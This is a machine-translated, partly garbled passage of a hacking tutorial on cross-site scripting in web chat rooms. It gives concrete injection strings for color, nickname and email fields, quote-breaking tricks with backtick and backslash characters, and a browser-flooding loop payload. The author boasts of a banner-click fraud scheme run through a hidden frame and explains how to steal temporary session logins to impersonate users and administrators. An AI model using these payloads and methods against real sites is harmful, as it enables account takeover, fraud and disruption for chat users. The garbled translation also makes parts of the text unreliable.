This page has been robot translated, sorry for typos if any. Original content here.

Chat hacken



  • Teil 1
  • Teil 2


  • Variationen über das Thema

    Im vorherigen Kapitel haben wir uns den Fall angesehen, in dem Farbe in den Text der Seite eingefügt wurde, ohne die Anführungszeichen einzuschränken. Und was, wenn es Zitate gibt? Zum Beispiel ist der Text im Chat wie folgt:
    Reisender - Alpha, hallo))
    Alpha - Hallo an alle! !!

    Wie Sie sehen können, wird die Farbe in die umgebenden Anführungszeichen eingefügt. Dieses Problem wird leicht gelöst, wenn der Chat das Symbol nicht herausfiltert. Wenn dies der Fall ist, können wir einfach das offene Anführungszeichen schließen und dann unser Skript schreiben. Wenn Sie beispielsweise den Farbwert als rot 'size = 20' <FONT color = # 00ff00> setzen, erhalten wir den Effekt mit einer größeren Schrift wieder. Achten Sie auf das Leerzeichen und den Apostroph am Ende. Sie sind notwendig, damit das schließende Anführungszeichen, das der Chat selbst einfügt, unsere Attribute nicht zerstört. Als Ergebnis wird unsere Nachricht wie folgt aussehen:

    Shram - Hallo

    Wenn der Chat das Zitatzeichen, das den Wert des Parameters umgibt, nicht überspringt, ist es nicht möglich, den Chat über diesen Parameter zu hacken :( (Obwohl einige Dinge hier möglich sind: Siehe das Ende dieses Kapitels.

    Diese Methode funktioniert sehr oft (fast immer) für eine bestimmte E-Mail-Adresse (in Chatlanin-Parametern oder im Feld für die Absenderadresse in Foren und Gästebüchern). In der Regel wird eine Verknüpfung zu Soap in den Foren folgendermaßen angezeigt:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (das Fragment mailto: das Gateway selbst fügt ein). Setzen Sie dann den Wert "style = background-image: url (javascript: alert ('Ну_нету_у_менямимылала!))" Als Soap senden wir eine Warnung an jeden Besucher des Forums :) ) (Beachten Sie, dass die Adresse der Soap in der Regel die eingegebenen Zeichen nicht filtert). Es stimmt, einige Foren und Chats scheinen die Seife zu überprüfen, aber diese Prüfung wird auf das Vorhandensein des @ -Zeichens reduziert. Wenn dies der Fall ist, werden wir die Entwickler des Forums zufriedenstellen und das Hündchen wie folgt zeichnen : mylo@myla.net "style = background-image: url (javascript: alert (" Ну_нету_у_меняmlяml! "))" .

    In einigen Chats können Sie eigene Bilder einfügen, indem Sie die Adresse des Bildes festlegen. Wie wir bereits wissen, wo eine URL ist, können Sie dort ein Skript einfügen. Ich werde es nicht einmal kauen. Alles ist so klar.

    Das erste Kapitel zeigte, wie man die Eingabeform des Chats ändert. Insbesondere war es notwendig, die relative Adresse des Aktionsfeldes auf absolut zu ändern. Die Chat-Struktur kann jedoch so komplex sein, dass viele solcher Ersetzungen erforderlich sind. In allen Fällen der Adresse zu ändern ist unbequem (und es ist möglich, sich zu irren). Stattdessen können Sie das <base href = '- Tag empfehlen : http: //typachat.ru/'^gt; , die irgendwo im HTML-Dokument eingefügt wird. In diesem Fall werden alle relativen Adressen relativ zu der im Basis- Tag angegebenen Adresse adressiert (in diesem Fall relativ zu typachat.ru ), unabhängig vom tatsächlichen Basis-DNS-Namen.

    Sie wissen wahrscheinlich, was Schnüffler sind? Wenn nicht, dann sage ich Ihnen den Sniffer - eine sehr nützliche Sache, mit der Sie den Verkehr verfolgen können. Im Falle von Chat können Sie mit dem Sniffer die IP-Adressen des Chatrooms sowie deren temporäre Namen und Codes (für Chat-Rooms mit temporären Namen) ermitteln. Manchmal können Sie sogar Administratorrechte erhalten :) ).

    Es kommt oft vor, dass der Nickname im Text des Chats als Link fungiert, wenn Sie darauf klicken, können Sie eine private Nachricht an den Chatroom senden. So sieht es in HTML aus:

    Alpha - Hallo!

    Moderator - Hallo!

    Zusätzlich zu dem im Kapitel "Wunder mit dem Symbol =" beschriebenen Effekt ist es möglich, ein Skript einzufügen, das bei einem Link ein Klick-Ereignis auslöst (wenn der Chat die Anführungszeichen nicht ausfiltert - in diesem Fall " - und das Symbol + ). der folgende Wert: "+ alert ('Hello!') +" . Sie können etwas ernsthafter einfügen (nur mit der Funktion toString () .) Zum Beispiel ein solcher Spitzname "+ toString (open ('// yahoo.com', '_ top ')) + " sendet einen Benutzer, der auf Ihren Spitznamen stößt, machen Sie eine Pause vom Chat in Yahoo :) ).

    M Chat hacken

    Wie im ersten Kapitel erwähnt, gibt es zwei Methoden zum Hacken von Chats. Alle obigen Beispiele beziehen sich auf die erste Methode - die Methode des Eindringens in die Parameter des Tags. Hier möchte ich die Technologie der zweiten Methode zeigen - die Methode, die Struktur von HTML zu brechen.

    Die Farbe der Nachrichten in Chat M wurde in numerischer Form (und hatte daher eine Begrenzung für die Länge der Farbe - 7 Zeichen), hatte ausgefallene Filter, aber verpasste ein einzelnes Zeichen. Hier ist ein Ausschnitt von Nachrichten im Chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Wie Sie sehen können, wurde die Farbe angegeben, ohne die Zitate zu umrahmen. Die Technologie des Hackens ist einfach: Wir loggen uns unter einem beliebigen Spitznamen und Farbe ein . Nachdem wir den Chat betreten haben, geben wir eine Nachricht wie 'style = background-image: url (javascript: alert (' Hello_people !! ')) aus . Achten Sie auf die Lücke am Ende - es ist obligatorisch. Unsere Nachricht sieht so aus:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Es stellt sich heraus, dass ein Teil des HTML-Codes - class = "ku"> - in einfachen Anführungszeichen steht und vom Browser als String-Wert von Farbe behandelt wird. Diese Zeile enthält auch die schließende spitze Klammer des Tags, also befindet sich unsere Nachricht innerhalb des Tags! Der Code, der direkt nach unserer Nachricht geht wird vom Browser nicht verstanden und ignoriert (und dieser Teil sollte durch ein Leerzeichen von unserem style-Parameter getrennt sein, sonst wird der Parameter als Ganzes als fehlerhaft betrachtet), aber die folgende eckige Klammer wird als schließendes Font- Tag betrachtet. Alles ist sehr einfach.

    Ein bisschen über den Backslash-Charakter

    In JavaScript-String-Strings gibt es ein spezielles Steuerzeichen. Dies ist ein umgekehrter Schrägstrich. Einer ihrer Zwecke ist wie folgt: das Anführungszeichen dahinter wird als ein Symbol und kein Zeilenabschluss betrachtet. Zum Beispiel:

    &lt;script&gt; alert ('Es ist') &lt;/ script&gt; - erzeugt keine Fehlermeldung, weil das Apostroph in Kombination mit \ in der Mitte der Zeile nicht als Ende der Zeile betrachtet wird. Während &lt;script&gt; alert ('Es ist') &lt;/ script&gt; erzeugt eine Fehlermeldung.

    Da das Zeichen selbst ein Manager ist (und daher nicht direkt in der Zeile erscheint), existiert eine Kombination von \\ , um sich selbst anzuzeigen. Eine solche Kombination wird nur als \ angezeigt.

    Was hat das alles mit Hacking-Chats zu tun? Und hier ist was: Einige Chat-Räume setzen keine Anführungszeichen " (oder " ) im Nick-Feld, sondern ersetzen sie durch Kombinationen vom Typ " (oder " ), glauben, dass in diesem Fall die Anführungszeichen angezeigt werden, aber nicht als Limiter fungieren können. und kann daher die Struktur von HTML nicht zerstören. In diesem Fall übersehen kurzsichtige Entwickler die Tatsache, dass der Benutzer das Symbol \ verwenden kann , um seinen Charakter zu blockieren. Zum Beispiel sieht ein Chat-Fragment für eine User-Nachricht mit dem Nickname Sh "ram so aus:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In diesem Fall verletzt das Anführungszeichen in Nickel nicht die Struktur des Tags. Wenn wir jedoch den Spitznamen in Al \ "gol ändern, wird durch Einfügen des Schrägstrichs vor dem Anführungszeichen der folgende HTML-Code erstellt:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Unser Schrägstrich blockiert dabei den Schrägstrich des Chats und der Spitzname des Zitats zerstört die HTML-Struktur! Dies wird sichtbar, wenn Sie im Beispiel auf den Link klicken.

    Dieser Effekt kann verwendet werden, um Chats zu hacken, indem die HTML-Struktur zerstört wird. Beachten wir, dass es in einigen Fällen möglich ist, einschränkende Anführungszeichen mit der gleichen Methode zu blockieren, indem Sie einen umgekehrten Schrägstrich am Ende eines Spitznamens eingefügt haben.

    Vor kurzem bemerkte ich ein anderes Loch, das mit dem Missbrauch der Symbol \ Chat-Programmierer verbunden ist. Lassen Sie beispielsweise den Spitznamen des Benutzers in den Chat-Text im Formular einfügen

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Wenn wir das Profil in Al'gol ändern , akzeptiert der Chat einen solchen Spitznamen, ersetzt ihn jedoch durch Al \ 'gol und glaubt naiv daran, dass er durch das Einfügen eines Backslash das Tag vor der Zerstörung schützt. Eigentlich ist es nicht so :) . Wenn Sie einen solchen Spitznamen in den Chat-Chat einfügen, sieht das folgendermaßen aus:
    &lt;a href=javascript:msgto(&amp;quot; Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In diesem Fall zeigt der Explorer eine Fehlermeldung an, wenn er versucht, auf den Spitznamen zuzugreifen. Der Grund ist folgender: Das \ -Zeichen ist nur innerhalb der JavaScript-Konstanten Zeichenkette, aber nicht HTML! Das HTML-Zeichen selbst versteht nicht und berücksichtigt daher das erste gefundene Apostroph als das Ende des href- Attributs, obwohl ihm \ vorangestellt ist. So wird zum Beispiel ein solcher Spitzname Algol '= die Struktur des Tags zerstören, trotz der Tatsache, dass vor dem Apostroph ein Backslash eingefügt wird

    Hacking auf der Ebene von http

    Wie bereits erwähnt, kann der Chat-Server das Referer- Feld der HTTP-Anfrage verfolgen und den Chat nicht starten, wenn dieses Feld von dem angeforderten abweicht. Um diese Hürde zu umgehen, müssen Sie den HTTP-Request-Header, der vom Chat an den Server gesendet wird (mit speziellen Programmen, zum Beispiel Naviscope) abfangen und ein spezielles Programm schreiben, das Anfragen an den Server sendet. In diesem Fall kann der Inhalt von Anforderungen (z. B. der Wert des Farbfelds) beliebig festgelegt werden.

    Ich werde darauf nicht näher eingehen. Dies geht über das Hacken von HTML hinaus.

    Ich werde nur bemerken, dass Sie auf der HTTP-Ebene kniffligere Dinge tun können als mit herkömmlichem HTML oder JavaScript. In jedem Fall empfehle ich, die Header von HTTP-Anfragen beim Chatten zu sehen. Sie werden Ihnen helfen, die Arbeit des Chats besser zu verstehen.

    Wunder mit dem Symbol =

    Was denken Sie, wird im Browser für eine solche HTML-Zeile angezeigt:

    &lt;font onclick = Warnung ('=')&gt; Text &lt;/ font&gt; ? Ich wette, Sie werden nicht raten (es sei denn, Sie arbeiten sicherlich nicht bei Microsoft und haben MSIE nicht entwickelt). Das Ergebnis ist so spezifisch, dass ich kein Beispiel geben konnte, das es demonstrieren würde . Aber Sie können es auf ein Wort nehmen, dass Folgendes im Browserfenster angezeigt wird: &lt;fontonclick = alert ('=')&gt; Text Wie Sie sehen, wird das öffnende Tag in diesem Fall vom Browser einfach nicht als Tag wahrgenommen, obwohl es keine Syntaxfehler gibt :) ). Und was wird passieren, wenn wir schreiben Text

    Seltsamerweise wird in diesem Fall alles in Ordnung sein, obwohl es einen Syntaxfehler gibt. Und wenn wir auf den Text klicken, erscheint eine Warnung. Versuchen Sie, das dritte Apostroph für die spitze Klammer oder für den Text zu verschieben:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/ font&gt; Es wird auch ein unerwartetes Ergebnis sein.

    Leider habe ich keinen Quellcode oder eine detaillierte Dokumentation für MSIE, aber ich denke, dass es in diesem Fall einen offensichtlichen Fehler in MSIE gibt. Wahrscheinlich analysiert der Browser den Code in zwei Stufen. In der ersten Phase werden die Tags, ihre Attribute und der dazwischen liegende Text hervorgehoben, und auf der zweiten Stufe wird der JavaScript-Inhalt der Tag-Parameter analysiert (nur die Attribute, die einen Skriptwert zulassen, beispielsweise href oder onclick ). Bei der primären Analyse betrachtet der Browser für den unverständlichen Grund eine Kombination = 'den Anfang einer Linie, obwohl das Symbol = bereits innerhalb einer Linie ist! Dann nimmt man = ' für den Anfang der Zeile, das Programm sucht nach dem Ende (während man völlig vergisst, dass eine weitere Zeile offen und nicht geschlossen ist). Also wird alles, was folgt = ' (oder = " ) und bis zum nächsten Zeichen ' ignoriert und als String betrachtet! Daher hat der Browser im ersten Beispiel das Tag nicht wahrgenommen: Es hat die schließende spitze Klammer nicht gefunden, weil es sozusagen innerhalb der Zeichenkette war. Noch erstaunlicher ist, dass der Browser in der zweiten Phase der Analyse der Parameter des Tags alles richtig sieht (Sie können dies durch Klicken auf das Textlabel im zweiten Beispiel überprüfen), nimmt die Zeichenfolge wo nötig und findet die schließende spitze Klammer auch dort, wo es nötig ist. zu diesem Fragment eines dritten Text zweites Beispiel ist in Klartext nicht angezeigt (weil, da es nicht der Körper des Tages ist), ist aber nicht paramatrom-Tag (wie in der Phase der Analyseparameter für die Compiler es einfach nicht kommen)! Flamme Hallo Bill!

    Mit diesem Browserfehler konnte ich einen Teil des Chat-Codes kommentieren, einfach einfach mit einem Nickname = angemeldet :) ). Hier ist das Code-Snippet, das die Liste der Teilnehmer im Chat anzeigt:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    Allerdings wurde mein Nickname in der Liste einfach nicht angezeigt, weil das Fragment zwischen den Anführungszeichen steht

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( war außerhalb des Körpers der Tags: -}. Wenn Sie jedoch auf den Moderator klicken, wurde die Funktion parent.window.messageFor mit dem Parameter = aufgerufen. Ähnliche "Effekte" waren in der Anzeige meiner Nachrichten im Chat.

    Es ist toll (oder traurig - jemanden zu suchen), dass dieser Fehler fast überall passiert, wo Sie sogar den Thread eingeben können (zumindest für MSIE 5.50.4134.0600), und dafür müssen Sie nicht einmal etwas in dem Formular ändern. Das Schlimme ist, dass es schwierig ist, daraus signifikante Vorteile zu ziehen (z. B. ein Skript starten).

    Zusammenfassend stellen wir fest, dass das gleiche Symbol einen ähnlichen Effekt hat, der als das Ende des Tags wahrgenommen wird, trotz der Tatsache, dass es innerhalb der Linie ist. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; wird vom Browser als fehlerhaft interpretiert, und es beleidigt die Tatsache, dass die String-Konstante nicht geschlossen ist.

    Zwei Hacking T Chat

    Chat T hat die folgenden Zeichen im Farbfeld übersprungen:

    " " = ;

    Wenn Sie eine Farbe in den Chat einfügen, waren die umgebenden Zitate nicht. Fragment von Nachrichten im Chat (übrigens scheint der Autor des Chats es nicht für notwendig zu halten, die Tags zu schließen), obwohl wir hoffen, dass dies getan wird, um die Leistung zu verbessern):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Es war peinlich, dass der Abstand vom Filter nicht verfehlt wurde. Nach einigem Nachdenken fand ich jedoch die nächste Lösung - ich nahm die Farbe in einfache Anführungszeichen und nach der Farbe ohne Leerzeichen fügte ich den style-Parameter ein: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . Wie im zweiten Kapitel erwähnt, ist der Trennraum in diesem Fall nicht notwendig :) ).

    Übrigens gab es in diesem Chat viele Frames, einschließlich versteckter und leerer - sie dachten wahrscheinlich über zukünftige Erweiterungen nach. Aber während die Admins über die Erweiterungen nachdachten, fand ich sie nützlicher. Ich habe lange genug in diesem Chat gehangen - ein paar Monate. Und ich habe nicht nur das aufgehängt: In einem der versteckten Frames habe ich meine Seite geschoben. Und auf der Website waren Banner des Banner-Netzwerks. So habe ich mich über Hunderttausende von Bannerwerbung geschraubt, und meine Seite sprang auf 5-6 Plätze in der Bewertung der Hits Rambler Top 100 (in meiner Gruppe). Leider hat das Bannernetzwerk die Einstellung von Hits / Hosts verglichen und festgestellt, dass es von der Nase getrieben wird. Es stellte sich heraus, dass der gleiche Besucher alle 50 Mal am Tag zu meiner Seite kommt. Mein Konto wurde gesperrt. Also wahrscheinlich immer noch da und hängt, rastlos :) ).

    Aber zurück zu unseren Schafen. Nach einiger Zeit ersetzte die Chat-Administration den cgi-shka. Ich weiß nicht, welche "Verbesserungen" in der zweiten Ausgabe gemacht wurden, aber ich bemerkte nur eine Änderung: jetzt war die Länge der String-Farbwerte begrenzt und betrug etwa 10 Zeichen (übrigens ist diese Einschränkung in vielen Chat-Räumen, obwohl ich nicht verstehe, was sie bedeuten Ist es nicht einfacher, Eingabesymbole mit Filtern zu versehen, obwohl sie auf diese Weise vor Pufferüberläufen geschützt sind? In dieser Situation funktionierte natürlich die alte Methode nicht mehr. Um ein vernünftiges Skript in 10 Zeichen zu drücken, ist es unmöglich (hier passte sogar der Stil selbst nicht). Ich habe erkannt, dass man nur den Spitznamen oder die zweite Methode durchbrechen kann - die HTML-Struktur wird zerstört. Ich habe das mehrere Stunden lang auf diese Weise versucht. Neben dem billigen Effekt des Verschwindens des Spitznamens (Kapitel "Wunder mit dem Symbol =") ist nichts passiert. Die Unterbrechung der Struktur hat aus folgendem Grund nichts gegeben: Ich habe die Zeile anstelle einer Farbe eingefügt, aber sie wurde mit einem Apostroph geschlossen, der sich auf die Zeit bezieht (hier hatte der Chat nur Glück - es war nicht als Schutzmaßnahme gedacht, obwohl viele Chatrooms extra für diesen Roman eingefügt wurden) Tags vom Typ <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Das heißt, nur das Fragment <a href = javascript: parent.window.Mtm ( .. Und alles, was ich erreicht habe, ist das Entfernen des Zeitreferenz-Tags. Wenn es möglich wäre, doppelte Anführungszeichen anstelle von Anführungszeichen einzufügen, dann gäbe es kein Problem, denn im Chat doppelte Anführungszeichen wurden nicht verwendet, aber das Symbol "wurde nicht vom Filter gefiltert. " Der Eintrag unter dem Spitznamen Algol = gab auch nichts, weil die Zeichen nach 'Algol =')> ignoriert wurden und nicht als Parameter des Tags betrachtet wurden. Thema ", aber diese Skripte funktionierten nur, wenn Sie auf meinen Link klicken und :( (Ich war schon bereit zuzugeben, dass der ganze Chat nicht gehackt werden kann.) Und dann habe ich in letzter Minute in den Tiefen von HTML gegraben und experimentiert, dass der Buchstabe des umgekehrten Apostrophs auch das Trennzeichen von Strings in HTML ist !!! Und dieses Symbol wurde von einem Filter übersprungen! Ich loggte mich mit dem Spitznamen Algol und mit der Farbe `. Und dann, als Nachricht an den Chat, schickte ich diese Zeile: ` style = background-image: url (javascript: alert ('Winning_beats_name_!') . ) Meine Nachricht im Chat -Text sah folgendermaßen aus:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    In diesem Fall ist das Fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> vollständig kommentiert und wurde als Farbe betrachtet, und der Style-Parameter war innerhalb des Tags! Das Skript hat funktioniert :) ).

    Also müssen die Programmierer des Chat T eine neue Version ihrer Idee entwickeln. Es bleibt nur erstaunt, wie viele Schlupflöcher sie hinterlassen und wie langsam sie korrigiert werden. Sie sagen das Ganze in der Psychologie: Die Entwickler von Verteidigungssystemen können sich nicht an die Stelle eines Einbrechers stellen, sondern sie beurteilen das System von ihrer Seite aus, anstatt es von außen zu betrachten.

    "Abfangen", "Fälschung" und Erlangung von Rechten.

    Berücksichtigen Sie die Methoden zur Erfassung der Nachrichten anderer Personen (private Nachrichten) und zum Senden von Nachrichten im Auftrag anderer Chatovites. Für verschiedene Arten von Chats gibt es verschiedene Abhörmethoden. Wenn der Chat vollständig gehackt ist, ist die Operation "Fälschung" (dh das Einfügen von Replikaten im Auftrag anderer Chatovianer) nicht schwierig: Sie müssen nur ein Skript an private senden, das einen Text in die Zeile des Replikats schreibt und dann auf die Schaltfläche "Senden" klickt. Anologisch ist es möglich, und der Benutzer herauszuziehen. Solche Methoden sind jedoch zu grob, primitiv und schwer anzuwenden. Fortgeschrittene Methoden des Abfangens, in denen der Chat dich für einen anderen Benutzer nimmt.

    Das Hauptproblem beim Erstellen von HTML-Chats ist, dass das HTTP-Protokoll grundsätzlich keine dauerhaften Verbindungen unterstützt. Das bedeutet, dass jedes Mal, wenn Sie Nachrichten erhalten oder ein Replikat senden möchten, das Chat-Programm Sie "kennen" sollte, um zu verstehen, dass Sie Sie sind. Wenn sie die Benutzer nicht erkennt, kann sie Ihnen nicht Ihre persönlichen Daten schicken und kann Ihre Nachrichten nicht für Sie schreiben. Um Teilnehmer zu identifizieren, verwenden Chats verschiedene Methoden. Die am häufigsten verwendete Methode sind IP-Adressen und die Methode dynamischer Namen. Die erste Methode basiert auf der Tatsache, dass derselbe Benutzer während der Kommunikationssitzung dieselbe IP-Adresse hat. Ich werde nicht im Detail auf diese Methode eingehen, ich will nur sagen, dass diese Methode Nachteile hat. Insbesondere funktioniert es möglicherweise nicht, wenn der Benutzer einen Unternehmens-Proxy-Server verwendet oder wenn er mehrere Chat-Fenster geöffnet hat. Kürzlich wurde eine andere Methode häufig verwendet - die Methode dynamischer Namen. Die Essenz der Methode besteht darin, dass, wann immer sich der Benutzer im Chat anmeldet, ihm automatisch eine temporäre eindeutige Anmeldung zugewiesen wird. Dieser Login registriert sich automatisch auf der Seite, die das Gateway an den Benutzer sendet. Jedes Mal, wenn ein Benutzer ein Replikatformular sendet oder Nachrichten von einem Chat anfordert, sendet seine Seite eine temporäre Anmeldung an den Server, über die der Server den Benutzer tatsächlich identifiziert. Das temporäre Anmeldesystem wird zufällig generiert, und zwei verschiedene Benutzer können nicht dieselbe Anmeldung haben. Die Anmeldung kann aus mehreren Teilen bestehen. Meistens ist dies die Seriennummer des Benutzers in der Sitzung und nach dem Zufallsprinzip ein Kennwort generiert. Da die Login-ID auf die Chat-Seite jedes Benutzers "aufgenäht" ist, weiß das System genau, mit welchem ​​Benutzer es kommuniziert, unabhängig von seiner IP-Adresse, Proxy-Servern, Anzahl offener Chat-Fenster usw.

    Es ist klar, dass es für uns, wenn wir den Login des Benutzers kennen würden, nicht schwierig wäre, unter dem Benutzer zu "knacken", einfach indem er einfach seine Login-Seite in seiner Seite bei seinem Login einstellt. Dann würde das System uns dafür nehmen ... Es stellt sich heraus, dass dies leicht gemacht werden kann, wenn der Chat gehackt wird, und wir haben die Möglichkeit, Ihr Bild in den Chat einzufügen. Wenn Sie dann den Sniffer als Bild verwenden (siehe Kapitel "Variationen zum Thema"), erhalten wir die temporären Logins aller Chat-Teilnehmer! Und wenn wir an einem bestimmten Login interessiert sind, müssen wir ihm einen privaten Sniffer schicken. Ich bemerke Folgendes: Die abgefangene Anmeldung ist nur so lange gültig, wie der Benutzer im Chat ist, wenn er erneut eingeloggt wird (er kommt heraus und geht wieder zurück), dann hat er bereits eine neue temporäre Anmeldung.

    Es ist klar, dass wenn wir die temporäre Anmeldung des Administrators abfangen, seine Rechte automatisch an uns übergeben werden, zum Beispiel die Möglichkeit, Tags direkt in Nachrichten einzufügen (dh das Fehlen eines Filters für Symbole < und > ) oder die Möglichkeit, aus dem Chat zu löschen oder Informationen über den Benutzer zu erhalten usw.

    Der dritte Hacking T Chat

    Also zurück in den langweiligen Chatraum T. Vor kurzem ist der Chatraum T komplett in einen neuen Kernel umgezogen. Jetzt haben sich die Spielregeln geändert. Erstens ließ das Farbfeld fast alles ein (bis hin zu den Zeichen < und > ), und es erschwerte mir nicht, es zu hacken. Aber bald war dieses Loch geschlossen (nicht ohne meine Teilnahme). In der neuen Version des Chats übergab die Farbe nur Zahlen und Buchstaben. Durch die Farbe zu hacken wurde unmöglich. Dies veranlasste mich zu anspruchsvolleren Methoden. Das Einzige, was übrig blieb, war ein Spitzname. Aus meiner eigenen Erfahrung wusste ich, dass es schwierig war, einen Chat durch einen Spitznamen zu unterbrechen, da Entwickler sorgfältig Filter für einen Spitznamen auswählen. Im Chat wurde der "Chip" jedoch übertrieben, weil "der Zeichensatz für den Spitznamen deutlich erweitert wurde". Es war wie eine Art Werbung. Ein wenig an den Filtern auf dem Nicknamen herumgebastelt, fand ich heraus, dass die folgenden Zeichen übersprungen werden:

    " " = ; \

    Das Symbol "wurde übersprungen, aber vorher hat der Chat automatisch das Symbol \ eingefügt. Die Mechanismen, die zu einer solchen Kombination gehören, sind in" Ein wenig über den umgekehrten Schrägstrich "beschrieben. Die in diesem Kapitel beschriebenen Effekte haben jedoch nicht das gewünschte Ergebnis und sind unbequem. Ich habe es gefunden!

    Sehen wir uns einen Teil der Nachrichten im Chat an:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Wie Sie sehen können, wurde der Nickname als Link angegeben, wenn Sie auf eine bestimmte Funktion geklickt haben. Der href- Referenzhandler wurde in einfache Anführungszeichen eingeschlossen, und der Kurzname selbst wurde in Anführungszeichen gesetzt. Da das Doppelzitat im Nickname nicht wirklich von Chat weitergegeben wurde, war es unmöglich, über das Argument der Funktion hinauszugehen. Nick type = ` hat nicht funktioniert, da der Handler in einzelne Apostrophe eingeschlossen war, und wie im Kapitel" Wunder mit dem Symbol = "gezeigt, hat der Effekt mit dem = -Zeichen nicht funktioniert. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Ie. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Also. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

